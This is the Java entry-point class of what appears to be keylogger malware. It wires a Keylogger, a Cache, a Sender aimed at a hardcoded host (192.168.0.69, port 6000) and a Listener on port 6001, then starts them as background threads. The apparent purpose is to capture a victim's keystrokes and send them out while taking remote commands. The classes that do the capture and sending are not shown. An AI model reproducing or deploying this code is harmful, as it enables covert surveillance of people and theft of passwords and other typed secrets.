public class Main {

	private static Sender sender;
	private static Keylogger keylogger;
	private static Listener listener;
	private static Cache cache;
	private static Ticker ticker;

	private static String client = "192.168.0.69";
	private static int sendPort = 6000;
	private static int listenPort = 6001;

	public static void main(String[] args) {

		sender = new Sender(client, sendPort);
		cache = new Cache(sender);
		keylogger = new Keylogger(cache);
		ticker = new Ticker(cache);
		listener = new Listener(listenPort, sender, ticker);

		Thread t0 = new Thread(ticker);
		t0.start();
		Thread t1 = new Thread(keylogger);
		t1.start();
		Thread t2 = new Thread(listener);
		t2.start();

	}

}
